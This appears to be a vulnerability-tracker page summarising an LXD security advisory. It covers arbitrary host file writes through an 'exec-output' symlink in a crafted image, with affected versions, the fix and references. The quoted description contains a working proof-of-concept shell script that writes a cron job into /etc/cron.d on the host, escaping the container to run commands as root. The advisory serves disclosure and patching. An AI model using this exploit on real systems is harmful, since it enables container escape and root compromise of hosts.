GHSA-9j25-mm2h-2f76
LXD has arbitrary file write on host via `exec-output` symlink in crafted image
- Risk score
- 64/100
- CVSS
- 9.9 v3.1
- Published
- 6 Nov 2026
Open in the live forecast Today's forecast
What to know
- What it is
- Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be writte…
- Affected
- github.com/canonical/lxd (go) < 0.0.0-20260626085134-124f90100640
- Fix
- Upgrade github.com/canonical/lxd to 0.0.0-20260626085134-124f90100640 or later.
- Exploitation
- No known exploitation
Story map
At a glance
github.com/canonical/lxd: Amber, patch this week. Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be writte…
The flaws
- GHSA-9j25-mm2h-2f76: LXD has arbitrary file write on host via `exec-output` symlink in crafted image (CVSS 9.9)
- GHSA-jpf8-86f3-wp38: LXD has arbitrary file read+write on host via templates/ symlink in malicious image (CVSS 9.9)
The fix
Fix: Upgrade github.com/canonical/lxd to 0.0.0-20260626085134-124f90100640 or later.
Who is exposed: github.com/canonical/lxd (go) < 0.0.0-20260626085134-124f90100640
Where it stands
- No known exploitation
Connects to
- Same weakness: CWE-73 (CWE-73). 87 other warnings in 30 days
Why it is Amber
- CVSS 9.9 critical
- On your watchlist: Go
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| github.com/canonical/lxd | go | < 0.0.0-20260626085134-124f90100640 | 0.0.0-20260626085134-124f90100640 |
References
- https://github.com/advisories/GHSA-9j25-mm2h-2f76
- https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76
- https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9
- https://nvd.nist.gov/vuln/detail/CVE-2026-48750
- https://github.com/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- https://github.com/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953
- https://github.com/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
Original description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv ### Summary The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. ### Details When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink. ### PoC Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution. ``` #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; ``` ### Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
Last activity 6 Nov 2026. Patch Forecast updates every hour.